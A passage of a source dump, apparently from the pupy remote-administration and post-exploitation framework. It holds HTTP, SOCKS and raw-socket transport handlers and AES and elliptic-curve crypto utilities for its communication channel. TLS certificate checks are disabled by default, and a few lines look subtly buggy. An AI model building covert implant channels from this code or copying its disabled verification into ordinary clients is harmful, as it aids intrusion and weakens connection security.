get_default():\n        if HTTPContext.default is None:\n            HTTPContext.default = HTTPContext()\n\n        return HTTPContext.default\n\n    def __init__(self):\n        self.cookies = CookieJar()\n        self.headers = {}\n\n    def http_request(self, request):\n        self.cookies.add_cookie_header(request)\n        host = request.host\n\n        if host in self.headers:\n            for header, value in self.headers[host].items():\n                request.add_header(header, value)\n\n        return request\n\n    def http_response(self, request, response):\n        self.cookies.extract_cookies(response, request)\n\n        host = request.host\n        headers = request.headers\n        code = response.headers\n\n        self._process(host, code, headers)\n        return response\n\n    def update_from_error(self, error):\n        host = urlparse(error.url).hostname\n        headers = error.hdrs\n        code = error.code\n\n        self._process(host, code, headers)\n\n    def _process(self, host, code, headers):\n        for header in ('proxy-authorization', 'authorization'):\n            if header in headers:\n                if code in (401, 407):\n                    if host in self.headers and header in self.headers[host]:\n                        del self.headers[host][header]\n                        if not self.headers[host]:\n                            del self.headers[host]\n                else:\n                    if host not in self.headers:\n                        self.headers[host] = {}\n\n                    self.headers[host][header] = headers.get(header)\n\n    https_request = http_request\n    https_response = http_response\n\n\nclass NoRedirects(HTTPErrorProcessor):\n    __slots__ = ()\n\n    def http_response(self, request, response):\n        return response\n\n    https_response = http_response\n\n\nif sys.version_info.major > 2:\n    import http.client\n\n    class NullConnection(http.client.HTTPConnection):\n        __slots__ = ('sock', 'timeout')\n\n        def __init__(self, socket, timeout, *args, **kwargs):\n            httplib.HTTPConnection.__init__(self, *args, **kwargs)\n            self.sock = socket\n            self.timeout = timeout\n\n        def connect(self):\n            self.sock.settimeout(self.timeout)\nelse:\n    import httplib\n\n    class NullConnection(httplib.HTTPConnection):\n        __slots__ = ('sock', 'timeout')\n\n        def __init__(self, socket, timeout, *args, **kwargs):\n            httplib.HTTPConnection.__init__(self, *args, **kwargs)\n            self.sock = socket\n            self.timeout = timeout\n\n        def connect(self):\n            self.sock.settimeout(self.timeout)\n\n\nclass NullHandler(HTTPHandler):\n    __slots__ = ('table', 'lock')\n\n    def __init__(self, table, lock):\n        HTTPHandler.__init__(self)\n        self.table = table\n        self.lock = lock\n\n    def http_open(self, req):\n        def build(host, port=None, strict=None, timeout=0):\n            with self.lock:\n                return NullConnection(self.table[host], timeout, host)\n\n        return self.do_open(build, req)\n\n\nclass NETFile(BytesIO):\n    __slots__ = ()\n\n\nclass UDPReaderHandler(BaseHandler):\n    __slots__ = ('sock', 'timeout')\n\n    def udp_open(self, req):\n        url = urlparse(req.get_full_url())\n        host = url.hostname\n        port = url.port or 123\n\n        data = []\n        conn = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, 0)\n        conn.connect((host, port))\n        conn.settimeout(10)\n\n        try:\n            if url.path:\n                conn.send(url.path[1:])\n\n            data = conn.recv(4096)\n            if not data:\n                raise ValueError('No data')\n\n        except:\n            pass\n\n        finally:\n            conn.close()\n\n        fp = NETFile(data)\n        if data:\n            headers = {\n                'Content-type': 'application/octet-stream',\n                'Content-length': len(data),\n            }\n            code = 200\n        else:\n            headers = {}\n            code = 404\n\n        return urllib.addinfourl(fp, headers, req.get_full_url(), code=code)\n\n\nclass TCPReaderHandler(BaseHandler):\n    __slots__ = ('sslctx')\n\n    def __init__(self, context=None, *args, **kwargs):\n        if context:\n            self.sslctx = context\n        else:\n            self.sslctx = ssl.create_default_context()\n            self.sslctx.check_hostname = False\n            self.sslctx.verify_mode = ssl.CERT_NONE\n\n    def do_stream_connect(self, req):\n        url = urlparse(req.get_full_url())\n        host = url.hostname\n        port = url.port or 53\n\n        conn = socket.create_connection((host, port))\n        conn.settimeout(10)\n        return conn\n\n    def tls_open(self, req):\n        conn = self.do_stream_connect(req)\n        conn = self.sslctx.wrap_socket(\n            conn, server_hostname=req.host\n        )\n        return self._get_stream_data(conn, req)\n\n    def tcp_open(self, req):\n        conn = self.do_stream_connect(req)\n        return self._get_stream_data(conn, req)\n\n    def _get_stream_data(self, conn, req):\n        data = []\n        url = urlparse(req.get_full_url())\n\n        try:\n            if url.path:\n                conn.send(url.path[1:])\n\n            while True:\n                b = conn.recv(65535)\n                if not b:\n                    break\n\n                data.append(b)\n\n            if not data:\n                raise ValueError('No data')\n\n        except:\n            pass\n\n        finally:\n            conn.close()\n\n        data = b''.join(data)\n\n        fp = NETFile(data)\n        if data:\n            headers = {\n                'Content-type': 'application/octet-stream',\n                'Content-length': len(data),\n            }\n            code = 200\n        else:\n            headers = {}\n            code = 404\n\n        return urllib.addinfourl(fp, headers, req.get_full_url(), code=code)\n\nStreamingHTTPSHandler.https_open = lambda self, req: self.do_open(\n    StreamingHTTPSConnection, req, context=self._context)\n\nclass SocksiPyConnection(StreamingHTTPConnection):\n    __slots__ = ('proxyargs', 'sock')\n\n    def __init__(self, proxytype, proxyaddr, proxyport=None, rdns=True, username=None, password=None, *args, **kwargs):\n        self.proxyargs = (proxytype, proxyaddr, proxyport, rdns, username, password)\n        httplib.HTTPConnection.__init__(self, *args, **kwargs)\n\n    def connect(self):\n        if self.sock is None:\n            self.sock = socksocket()\n            self.sock.setproxy(*self.proxyargs)\n            if isinstance(self.timeout, float):\n                self.sock.settimeout(self.timeout)\n            self.sock.connect((self.host, self.port))\n\nclass SocksiPyConnectionS(StreamingHTTPSConnection):\n    __slots__ = ('proxyargs', 'sock')\n\n    def __init__(self, proxytype, proxyaddr, proxyport=None, rdns=True, username=None, password=None, *args, **kwargs):\n        self.proxyargs = (proxytype, proxyaddr, proxyport, rdns, username, password)\n        httplib.HTTPSConnection.__init__(self, *args, **kwargs)\n\n    def connect(self):\n        if self.sock is None:\n            sock = socksocket()\n            sock.setproxy(*self.proxyargs)\n            if type(self.timeout) in (int, float):\n                sock.settimeout(self.timeout)\n            sock.connect((self.host, self.port))\n\n            if self._tunnel_host:\n                server_hostname = self._tunnel_host\n            else:\n                server_hostname = self.host\n\n            self.sock = self._context.wrap_socket(\n                sock, server_hostname=server_hostname)\n\n\nclass SocksiPyHandler(HTTPHandler, HTTPSHandler, TCPReaderHandler):\n    __slots__ = ('args', 'kw')\n\n    def __init__(self, *args, **kwargs):\n        self.args = args\n        self.kw = kwargs\n        HTTPHandler.__init__(self)\n\n    def http_open(self, req):\n        def build(host, port=None, strict=None, timeout=0):\n            if 'context' in self.kw:\n                kw = {\n                    x:y for x,y in self.kw.items() if x not in ('context')\n                }\n            else:\n                kw = self.kw\n\n            conn = SocksiPyConnection(*self.args, host=host, port=port, strict=strict, timeout=timeout, **kw)\n            return conn\n\n        return self.do_open(build, req)\n\n    def https_open(self, req):\n        def build(host, port=None, timeout=0, **kwargs):\n            kw = merge_dict(self.kw, kwargs)\n            conn = SocksiPyConnectionS(*self.args, host=host, port=port, timeout=timeout, **kw)\n            return conn\n\n        return self.do_open(build, req)\n\n    def do_stream_connect(self, req):\n        url = urlparse(req.get_full_url())\n        host = url.hostname\n        port = url.port or 53\n        conn = SocksiPyConnection(*self.args, host=host, port=port, timeout=15)\n        conn.connect()\n        return conn.sock\n\nclass HTTP(object):\n\n    __slots__ = (\n        'ctx', 'proxy', 'noverify',\n        'no_proxy_locals', 'no_proxy_for',\n        'timeout', 'headers', 'follow_redirects')\n\n    def __init__(\n        self,\n            proxy=None, noverify=True, follow_redirects=False,\n            headers={}, timeout=5, cadata=None,\n            no_proxy_locals=True, no_proxy_for=[]):\n\n        self.ctx = ssl.create_default_context(cadata=cadata)\n\n        if noverify:\n            self.ctx.check_hostname = False\n            self.ctx.verify_mode = ssl.CERT_NONE\n\n        self.proxy = None\n        self.headers = headers\n        self.follow_redirects = follow_redirects\n        self.no_proxy_locals = no_proxy_locals\n        self.no_proxy_for = no_proxy_for\n\n        if isinstance(proxy, basestring):\n            proxyscheme = urlparse(proxy)\n            scheme = proxyscheme.scheme.upper()\n            if scheme == 'SOCKS':\n                scheme = 'SOCKS5'\n\n            self.proxy = scheme, proxyscheme.hostname+(\n                ':'+str(proxyscheme.port) if proxyscheme.port else ''), \\\n                proxyscheme.username or None, \\\n                proxyscheme.password or None\n        elif proxy in (True, None):\n            if has_wpad():\n                self.proxy = 'wpad'\n            else:\n                self.proxy = find_default_proxy()\n        elif hasattr(proxy, 'as_tuple'):\n            self.proxy = proxy.as_tuple()\n        else:\n            self.proxy = proxy\n\n        self.noverify = noverify\n        self.timeout = timeout\n\n    def _is_local_network(self, address):\n        url = urlparse(address)\n        try:\n            net = IPAddress(url)\n            return net.is_private()\n        except (AddrFormatError, TypeError):\n            return False\n\n    def _is_direct(self, address):\n        if self.no_proxy_locals and self._is_local_network(address):\n            return True\n\n        if self.no_proxy_for and urlparse(\n                address).hostname in self.no_proxy_for:\n            return True\n\n        return False\n\n    def make_opener(self, address, headers=None):\n        scheme = None\n        proxy_host = None\n        proxy_password_manager = None\n        http_password_manager = OptionalPasswordManager()\n        password_managers = []\n\n        if self.proxy == 'wpad':\n            proxy = get_proxy_for_address(address)\n            if proxy:\n                proxy = proxy[0]\n            else:\n                proxy = None\n        else:\n            proxy = self.proxy\n\n        if not proxy or proxy[0] == 'DIRECT' or self._is_direct(address):\n            handlers = [\n                StreamingHTTPHandler,\n                StreamingHTTPSHandler(context=self.ctx),\n                TCPReaderHandler(context=self.ctx)\n            ]\n        else:\n            scheme, host, user, password = proxy\n\n            scheme = PROXY_TYPES[scheme]\n            port = DEFAULT_PORTS[scheme]\n\n            if ':' in host:\n                host, maybe_port = host.split(':')\n\n                try:\n                    port = int(maybe_port)\n                except ValueError:\n                    pass\n\n            proxy_host = host+':'+str(port)\n\n            sockshandler = SocksiPyHandler(\n                scheme, host, port,\n                user or None, password or None,\n                context=self.ctx if self.noverify else None\n            )\n\n            handlers = []\n\n            if scheme == PROXY_SCHEME_HTTP:\n                http_proxy = proxy_host\n\n                handlers.append(ProxyHandler({\n                    'http': 'http://' + http_proxy\n                }))\n\n                proxy_password_manager = ProxyPasswordManager(\n                    'http', host, port, user, password\n                )\n\n                for handler_klass in (\n                    ProxyAuthHandler,\n                        ProxyBasicAuthHandler, ProxyDigestAuthHandler):\n                    if handler_klass is None:\n                        continue\n\n                    instance = handler_klass(proxy_password_manager)\n                    if hasattr(instance, 'set_logger'):\n                        instance.set_logger(logger)\n\n                    handlers.append(instance)\n\n                password_managers.append(proxy_password_manager)\n                handlers.append(StreamingHTTPHandler)\n\n            handlers.append(sockshandler)\n\n        if self.follow_redirects:\n            handlers.append(HTTPRedirectHandler)\n        else:\n            handlers.append(NoRedirects)\n\n        handlers.append(UDPReaderHandler)\n\n        for handler_klass in (\n            HTTPBasicAuthHandler, HTTPDigestAuthHandler,\n                HTTPAuthHandler):\n\n            if handler_klass is None:\n                continue\n\n            instance = handler_klass(http_password_manager)\n            if hasattr(instance, 'set_logger'):\n                instance.set_logger(logger)\n\n            handlers.append(instance)\n\n        password_managers.append(http_password_manager)\n\n        context = HTTPContext.get_default()\n\n        handlers.append(context)\n\n        handlers.append(HTTPDefaultErrorHandler)\n        handlers.append(HTTPErrorProcessor)\n\n        opener = OpenerDirector()\n        for h in handlers:\n            if isinstance(h, type):\n                h = h()\n\n            opener.add_handler(h)\n\n        filter_headers = set()\n\n        if headers:\n            if isinstance(headers, dict):\n                filter_headers = set(headers)\n            else:\n                filter_headers = set(x for x, _ in headers)\n\n        if isinstance(self.headers, dict):\n            opener.addheaders = [\n                (x, y) for x, y in self.headers.items()\n                if x not in filter_headers\n            ]\n        else:\n            opener.addheaders = self.headers\n\n        if headers:\n            if isinstance(headers, dict):\n                opener.addheaders.extend([\n                    (x, y) for x, y in self.headers.items()\n                ])\n            else:\n                opener.addheaders.extend(headers)\n\n        return opener, scheme, proxy_host, password_managers, context\n\n    def get(\n            self, url, save=None, headers={}, return_url=False,\n            return_headers=False, code=False, params={}):\n\n        if params:\n            url = url + '?' + urlencode(params)\n\n        opener, scheme, host, password_managers, context = self.make_opener(url)\n\n        result = []\n\n        request = Request(url, None, headers)\n\n        try:\n            response = opener.open(request, timeout=self.timeout)\n\n        except ProxyConnectionError as e:\n            if self.proxy == 'wpad':\n                set_proxy_unavailable(scheme, host)\n\n            raise e\n\n        except HTTPError as e:\n            context.update_from_error(e)\n\n            result = [e.fp.read() if e.fp.read else '']\n\n            if return_url:\n                result.append(e.url)\n\n            if code:\n                result.append(e.code)\n\n            if return_headers:\n                result.append(e.hdrs.dict)\n\n            if len(result) == 1:\n                return result[0]\n            else:\n                return tuple(result)\n\n        if save:\n            with open(save, 'w+b') as output:\n                while True:\n                    chunk = response.read(65535)\n                    if not chunk:\n                        break\n\n                    output.write(chunk)\n\n            result = [save]\n        else:\n            result = [response.read()]\n\n        if return_url:\n            result.append(response.url)\n\n        if code:\n            result.append(response.code)\n\n        if return_headers:\n            result.append(response.info().dict)\n\n        if response.code not in (401, 407) and password_managers:\n            for password_manager in password_managers:\n                password_manager.commit()\n\n        if len(result) == 1:\n            return result[0]\n        else:\n            return tuple(result)\n\n    def post(\n            self, url, file=None, data=None, save=None, headers={},\n            multipart=False, return_url=False, return_headers=False,\n            code=False, params={}):\n\n        if not (file or data):\n            data = ''\n\n        response = None\n        result = []\n\n        if multipart:\n            data, _headers = multipart_encode(data)\n            if not headers:\n                headers = _headers\n            else:\n                headers = headers.copy()\n                headers.update(_headers)\n        else:\n            if isinstance(data, (list,tuple,set,frozenset)):\n                data = urlencode({\n                    k:v for k,v in data\n                })\n            elif isinstance(data, dict):\n                data = urlencode(data)\n\n        if params:\n            url = url + '?' + urlencode(params)\n\n        opener, scheme, host, password_managers, context = self.make_opener(url)\n\n        request = Request(url, data, headers)\n\n        try:\n            if file:\n                with open(file, 'rb') as body:\n                    response = opener.open(request, body, timeout=self.timeout)\n            else:\n                response = opener.open(request, data, timeout=self.timeout)\n\n        except ProxyConnectionError as e:\n            if self.proxy == 'wpad':\n                set_proxy_unavailable(scheme, host)\n\n            raise e\n\n        except HTTPError as e:\n            context.update_from_error(e)\n\n            result = [e.fp.read() if e.fp.read else '']\n\n            if return_url:\n                result.append(e.url)\n\n            if code:\n                result.append(e.code)\n\n            if return_headers:\n                result.append(e.hdrs.dict)\n\n            if len(result) == 1:\n                return result[0]\n            else:\n                return tuple(result)\n\n        if save:\n            with open(save, 'w+b') as output:\n                while True:\n                    chunk = response.read(65535)\n                    if not chunk:\n                        break\n\n                    output.write(chunk)\n\n                result = [save]\n        else:\n            result = [response.read()]\n\n        if return_url:\n            result.append(response.url)\n\n        if code:\n            result.append(response.code)\n\n        if return_headers:\n            result.append(response.info().dict)\n\n        if response.code not in (401, 407) and password_managers:\n            for password_manager in password_managers:\n                password_manager.commit()\n\n        if len(result) == 1:\n            return result[0]\n        else:\n            return tuple(result)\n\nfrom .proxies import (\n    find_default_proxy, set_proxy_unavailable,\n    has_wpad, get_proxy_for_address\n)\n"
  },
  {
    "path": "pupy/network/lib/transports/__init__.py",
    "content": ""
  },
  {
    "path": "pupy/network/lib/transports/cryptoutils/__init__.py",
    "content": "# -*- encoding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n__all__ = (\n    'append_PKCS7_padding', 'strip_PKCS7_padding',\n    'NewAESCipher', 'get_random',\n    'SHA1', 'SHA256', 'SHA384', 'SHA3_256', 'SHA3_512',\n    'AES_MODE_CTR', 'AES_MODE_CFB', 'AES_MODE_CBC',\n    'hmac_sha256_digest', 'AES_BLOCK_SIZE', 'RC4', 'ECPV',\n    'XOR'\n)\n\nfrom .aes import (\n    append_PKCS7_padding,\n    strip_PKCS7_padding,\n    NewAESCipher, AES_BLOCK_SIZE,\n    AES_MODE_CTR, AES_MODE_CFB, AES_MODE_CBC\n)\n\nfrom .sha import (\n    SHA1, SHA256, SHA384, SHA3_256, SHA3_512\n)\n\ntry:\n    from Crypto.Random import get_random_bytes as get_random\n    from Crypto.Cipher import ARC4\n    from Crypto.Hash import HMAC\n\n    def RC4(key):\n        return ARC4.new(key)\n\n    def hmac_sha256_digest(key, msg):\n        return HMAC.new(key, msg, SHA256).digest()\n\nexcept ImportError as e:\n    import hashlib\n    import hmac\n\n    from os import urandom as get_random\n    from .rc4 import RC4\n\n    def hmac_sha256_digest(key, msg):\n        return hmac.new(key, msg, hashlib.sha256).digest()\n\nfrom .ecpv import ECPV\nfrom .xor import XOR\n"
  },
  {
    "path": "pupy/network/lib/transports/cryptoutils/aes.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\n__all__ = (\n    'append_PKCS7_padding',\n    'strip_PKCS7_padding',\n    'NewAESCipher', 'AES_BLOCK_SIZE',\n    'AES_MODE_CTR', 'AES_MODE_CFB', 'AES_MODE_CBC'\n)\n\nimport logging\nimport sys\n\nif sys.version_info.major > 2:\n    xrange = range\n    long = int\n\n    def to_byte(x):\n        return bytes((x,))\n\n    def from_byte(x):\n        return x\n\nelse:\n    def to_byte(x):\n        return chr(x)\n\n    def from_byte(x):\n        return ord(x)\n\n\nAES_BLOCK_SIZE = 16\n\n\ndef append_PKCS7_padding(data):\n    pad = AES_BLOCK_SIZE - (len(data) % AES_BLOCK_SIZE)\n    return data + to_byte(pad)*pad\n\n\ndef strip_PKCS7_padding(data):\n    if len(data) % AES_BLOCK_SIZE != 0:\n        raise ValueError('data is not padded')\n\n    padlen = from_byte(data[-1])\n\n    if padlen > AES_BLOCK_SIZE or padlen < 1:\n        raise ValueError('PKCS#7 invalid padding byte')\n\n    if data[-padlen:] != to_byte(padlen) * padlen:\n        raise ValueError('PKCS#7 padding is invalid')\n\n    return data[:-padlen]\n\n\ntry:\n    from Crypto.Cipher import AES\n    from Crypto.Util import Counter\n\n    AES_MODE_CTR = AES.MODE_CTR\n    AES_MODE_CFB = AES.MODE_CFB\n    AES_MODE_CBC = AES.MODE_CBC\n\n    def NewAESCipher(aes_key, iv, mode=AES_MODE_CBC):\n        if mode == AES_MODE_CTR:\n            if type(iv) not in (int, long):\n                iv = long(iv.encode('hex'), 16)\n\n            counter = Counter.new(\n                nbits=AES.block_size*8,\n                initial_value=iv\n            )\n            return AES.new(aes_key, mode, counter=counter)\n\n        return AES.new(aes_key, mode, IV=iv)\n\nexcept ImportError as e:\n    logging.warning(\n        'pycrypto not available, using pure python '\n        'libraries for AES (slower): %s', e\n    )\n\n    AES_MODE_CTR = 0\n    AES_MODE_CFB = 1\n    AES_MODE_CBC = 2\n\n    try:\n        from pyaes import (\n            AESModeOfOperationCBC, AESModeOfOperationCFB,\n            AESModeOfOperationCTR, Counter\n        )\n    except ImportError as e:\n        logging.exception('pyaes is missing: %s', e)\n        raise e\n\n    class NewAESCipher(object):\n        __slots__ = ('aes_key', 'iv', 'cipher', 'mode')\n\n        def __init__(self, aes_key, iv, mode=AES_MODE_CBC):\n            self.aes_key = aes_key\n            self.iv = iv\n            self.mode = mode\n            if mode == AES_MODE_CBC:\n                self.cipher = AESModeOfOperationCBC(self.aes_key, iv=self.iv)\n            elif mode == AES_MODE_CFB:\n                self.cipher = AESModeOfOperationCFB(self.aes_key, iv=self.iv)\n            elif mode == AES_MODE_CTR:\n                if type(iv) not in (int, long):\n                    iv = long(iv.encode('hex'), 16)\n\n                self.iv = Counter(initial_value=iv)\n                self.cipher = AESModeOfOperationCTR(\n                    self.aes_key, counter=self.iv\n                )\n\n        def encrypt(self, data):\n            \"\"\" data has to be padded \"\"\"\n\n            if self.mode == AES_MODE_CTR:\n                return self.cipher.encrypt(data)\n\n            encrypted = []\n            for i in xrange(0, len(data), AES_BLOCK_SIZE):\n                encrypted.append(\n                    self.cipher.encrypt(data[i:i+AES_BLOCK_SIZE]))\n\n            return b''.join(encrypted)\n\n        def decrypt(self, data):\n            \"\"\" data has to be padded \"\"\"\n\n            if self.mode == AES_MODE_CTR:\n                return self.cipher.decrypt(data)\n\n            cleartext = []\n\n            for i in xrange(0, len(data), AES_BLOCK_SIZE):\n                cleartext.append(\n                    self.cipher.decrypt(data[i:i+AES_BLOCK_SIZE]))\n\n            return b''.join(cleartext)\n"
  },
  {
    "path": "pupy/network/lib/transports/cryptoutils/ecpv.py",
    "content": "# -*- coding: utf-8 -*-\n__all__ = ('PubKeyCache', 'ECPV')\n\nimport sys\nimport struct\nimport base64\n\nfrom collections import deque\n\nif sys.version_info.major > 2:\n    xrange = range\n\n    def _reversed_bytes(data):\n        return bytes(reversed(data))\nelse:\n    def _reversed_bytes(data):\n        return b''.join(reversed(data))\n\nfrom tinyec.registry import get_curve\nfrom tinyec.ec import (\n    to_bytes, from_bytes,\n    ec2osp, osp2ec\n)\n\nfrom . import (\n    NewAESCipher, get_random,\n    SHA1, SHA3_256, SHA3_512,\n    AES_BLOCK_SIZE,\n    AES_MODE_CTR, AES_MODE_CFB\n)\n\n\nclass PubKeyCache(object):\n    __slots__ = ('records',)\n\n    def __init__(self, maxlen=64):\n        self.records = deque(maxlen=maxlen)\n\n    def get(self, get_key):\n        for (key, value) in self.records:\n            if key == get_key:\n                return value\n\n    def set(self, set_key, pubkey):\n        for (key, value) in self.records:\n            if key == set_key:\n                return value\n\n        self.records.append((set_key, pubkey))\n        return pubkey\n\n\n_PUBKEY_CACHE = PubKeyCache()\n\n\nclass ECPV(object):\n    __slots__ = (\n        '_curve', '_hash',\n        '_private_key', '_public_key', '_kex_shared_key',\n        '_kex_public_key', '_kex_private_key',\n        '_public_key_digest', '_cached_kex_request',\n        '_cached_kex_response', '_mgf_size'\n    )\n\n    def __init__(self, curve='brainpoolP160r1', hash=None, private_key=None, public_key=None):\n        if not hash:\n            if '160' in curve:\n                hash = SHA1\n            elif '224' in curve:\n                hash = SHA3_256\n            elif '256' in curve:\n                hash = SHA3_256\n            elif '384' in curve:\n                hash = SHA3_512\n            elif '521' in curve:\n                hash = SHA3_512\n            else:\n                raise ValueError('Appropriate hash should be specified')\n\n            if hash is None:\n                raise ValueError('Hash is unsupported (native only?)')\n\n        self._curve = get_curve(curve)\n\n        self._hash = hash\n\n        # Check that hash is properly initialized\n        self._hash.new()\n\n        try:\n            self._mgf_size = self._hash.new().block_size\n        except AttributeError:\n            self._mgf_size = self._hash.digest_size\n\n        if not self._mgf_size >= self._curve.bytes:\n            raise ValueError('Incompatible hash function')\n\n        if private_key:\n            self._private_key = from_bytes(base64.b64decode(private_key))\n        else:\n            self._private_key = None\n\n        if private_key and not public_key:\n            record = _PUBKEY_CACHE.get(self._private_key)\n            if record:\n                self._public_key, self._public_key_digest = record\n            else:\n                self._public_key = self._curve.g * self._private_key\n                self._public_key.precompute()\n                self._public_key_digest = self._mgf2(ec2osp(self._public_key), AES_BLOCK_SIZE)\n                _PUBKEY_CACHE.set(self._private_key, (self._public_key, self._public_key_digest))\n\n        elif public_key:\n            record = _PUBKEY_CACHE.get(public_key)\n            if record:\n                self._public_key, self._public_key_digest = _PUBKEY_CACHE.get(public_key)\n            else:\n                self._public_key = osp2ec(self._curve, base64.b64decode(public_key))\n                if not self._public_key:\n                    raise ValueError('Invalid public key')\n\n                self._public_key.precompute()\n                self._public_key_digest = self._mgf2(ec2osp(self._public_key), AES_BLOCK_SIZE)\n                _PUBKEY_CACHE.set(public_key, (self._public_key, self._public_key_digest))\n        else:\n            self._public_key = None\n            self._public_key_digest = None\n\n        self._kex_shared_key = None\n        self._kex_public_key = None\n        self._kex_private_key = None\n\n        self._cached_kex_request = None\n        self._cached_kex_response = None\n\n    @property\n    def kex_completed(self):\n        return not (self._kex_shared_key is None)\n\n    @property\n    def encryption_key(self):\n        return self._kex_shared_key[0] if self._kex_shared_key else self._public_key_digest\n\n    @property\n    def decryption_key(self):\n        return self._kex_shared_key[1] if self._kex_shared_key else self._public_key_digest\n\n    def kex_reset(self):\n        self._kex_shared_key = None\n        self._kex_public_key = None\n        self._kex_private_key = None\n\n    def clone(self):\n        clone = ECPV()\n        clone._curve = self._curve\n        clone._hash = self._hash\n        clone._private_key = self._private_key\n        clone._public_key = self._public_key\n        clone._public_key_digest = self._public_key_digest\n        clone._kex_shared_key = None\n        clone._kex_public_key = None\n        clone._kex_private_key = None\n        return clone\n\n    def _gen_random(self):\n        value = 0\n\n        while not (value > 1 and value < self._curve.field.n):\n            value = from_bytes(get_random(self._curve.bytes))\n\n        return value\n\n    def _mgf2(self, value, length):\n        result = []\n        hash = self._hash.new()\n        k = length // self._mgf_size + 1\n        for i in xrange(1, k + 1):\n            hash.update(value + struct.pack('>I', i))\n            result.append(hash.digest())\n            hash = self._hash.new()\n\n        return b''.join(result)[:length]\n\n    def generate_key(self):\n        self._private_key = self._gen_random()\n        self._public_key = self._curve.g * self._private_key\n        self._public_key_digest = self._mgf2(\n            ec2osp(self._public_key), AES_BLOCK_SIZE\n        )\n\n        return (\n            base64.b64encode(to_bytes(self._private_key)),\n            base64.b64encode(ec2osp(self._public_key))\n        )\n\n    def pack(self, message, nonce=None):\n        if not self._private_key:\n            raise ValueError('No private key')\n        t = 0\n        k = 0\n        s = 0\n        r = b''\n        while not (t and s):\n            k = self._gen_random()\n            R = self._curve.g * k\n            key = self._mgf2(ec2osp(R), 16)\n\n            r = self.encrypt(message, nonce, key=key)\n\n            hash = self._hash.new()\n            hash.update(r + (\n                struct.pack('>I', nonce) if nonce else b''\n            ) + struct.pack('>I', len(r)))\n            u = hash.digest()[:self._curve.bytes]\n            t = from_bytes(u)\n            if not (t > 1 and t < self._curve.field.n):\n                continue\n\n            s = (k - self._private_key * t) % self._curve.field.n\n\n        bytes = to_bytes(s)\n        if len(bytes) != self._curve.bytes:\n            bytes = bytes + '\\x00' * (self._curve.bytes - len(bytes))\n\n        return bytes + r\n\n    def unpack(self, message, nonce=None):\n        if not self._public_key:\n            raise ValueError('No public key')\n        s = from_bytes(message[:self._curve.bytes])\n        r = message[self._curve.bytes:]\n        hash = self._hash.new()\n        hash.update(r + (\n            struct.pack('>I', nonce) if nonce else b''\n        ) + struct.pack('>I', len(r)))\n        u = hash.digest()[:self._curve.bytes]\n        t = from_bytes(u)\n        if not (t >= 0 and t < self._curve.field.n):\n            return None\n        R = self._curve.g * s + self._public_key * t\n        if R.inf:\n            return None\n        key = self._mgf2(ec2osp(R), 16)\n\n        return self.decrypt(r, nonce, key=key)\n\n    def generate_kex_request(self):\n        self._kex_private_key = self._gen_random()\n        self._kex_public_key = self._curve.g * self._kex_private_key\n        return ec2osp(self._kex_public_key)\n\n    def process_kex_request(self, request, nonce=None, encrypt=False, key_size=AES_BLOCK_SIZE):\n        if request == self._cached_kex_request and self._kex_shared_key:\n            return self._cached_kex_response, self._kex_shared_key\n\n        self._cached_kex_request = request\n        response = self.generate_kex_request()\n        self.process_kex_response(request, nonce=nonce, decrypt=False, key_size=key_size)\n        self._kex_shared_key = list(x for x in reversed(self._kex_shared_key))\n        self._cached_kex_response = \\\n          self.pack(response, nonce) if encrypt else response\n        return self._cached_kex_response, self._kex_shared_key\n\n    def process_kex_response(self, response, nonce=None, decrypt=False, key_size=AES_BLOCK_SIZE):\n        if decrypt:\n            response = self.unpack(response, nonce)\n\n        P1 = osp2ec(self._curve, response)\n        if not P1:\n            raise ValueError('Invalid ECDH PK response')\n\n        key = self._mgf2(ec2osp(P1 * self._kex_private_key), key_size)\n        self._kex_shared_key = (key, _reversed_bytes(key))\n        return self._kex_shared_key\n\n    def check_csum(self, message, nonce, csum, key=None):\n        if not key:\n            if self._kex_shared_key:\n                key = self._kex_shared_key[1]\n            else:\n                key = self._public_key_digest\n\n        h = SHA1.new()\n        h.update(key)\n        h.update(message)\n        h.update(to_bytes(len(message)))\n        h.update(to_bytes(nonce))\n\n        csum2 = h.digest()[:4]\n        return csum == csum2\n\n    def gen_csum(self, message, nonce, key=None):\n        if not key:\n            if self._kex_shared_key:\n                key = self._kex_shared_key[0]\n            else:\n                key = self._public_key_digest\n\n        h = SHA1.new()\n        h.update(key)\n        h.update(message)\n        h.update(to_bytes(len(message)))\n        h.update(to_bytes(nonce))\n\n        csum = h.digest()[:4]\n        return csum\n\n    def encrypt(self, message, nonce, key=None):\n        if not key:\n            if self._kex_shared_key:\n                key = self._kex_shared_key[0]\n            else:\n                key = self._public_key_digest\n\n        if nonce is not None:\n            encrypted = NewAESCipher(\n                key, nonce, AES_MODE_CTR\n            ).encrypt(message)\n        else:\n            bs = AES_BLOCK_SIZE\n            iv = get_random(AES_BLOCK_SIZE)\n            length = struct.pack('>I', len(message))\n            pad = (bs - (len(message) + len(length))%bs) % bs\n            padding = struct.pack('B', pad)*pad\n            encrypted = iv + NewAESCipher(\n                key, iv, AES_MODE_CFB\n            ).encrypt(length + message + padding)\n\n        return encrypted\n\n    def decrypt(self, message, nonce, key=None):\n        if not key:\n            if self._kex_shared_key:\n                key = self._kex_shared_key[1]\n            else:\n                key = self._public_key_digest\n\n        if nonce is not None:\n            decrypted = NewAESCipher(\n                key, nonce, AES_MODE_CTR\n            ).decrypt(message)\n        else:\n            bs = AES_BLOCK_SIZE\n            iv, body = message[:bs], message[bs:]\n\n            payload = NewAESCipher(\n                key, iv, AES_MODE_CFB\n            ).decrypt(body)\n\n            length = struct.unpack_from('>I', payload)[0]\n            message = payload[4:]\n            pad = len(message) - length\n            decrypted, padding = message[:length], message[length:]\n            if not padding == struct.pack('B', pad)*pad:\n                return None\n\n        return decrypted\n\n    def encode(self, message, nonce, symmetric = False):\n        if symmetric:\n            return self.encrypt(message, nonce)\n        return self.pack(message, nonce)\n\n    def decode(self, message, nonce, symmetric = False):\n        if symmetric:\n            return self.decrypt(message, nonce)\n        return self.unpack(message, nonce)\n\n\nif __name__ == '__main__':\n    for x in xrange(1, 10):\n        x = ECPV(curve='brainpoolP384r1')\n\n        x._curve.g * (1 << 47)\n\n        priv, pub = x.generate_key()\n        print(\"PRIV:\", priv)\n        print(\"PUB:\", pub)\n        msg = 'Hello, world'\n        msg2 = 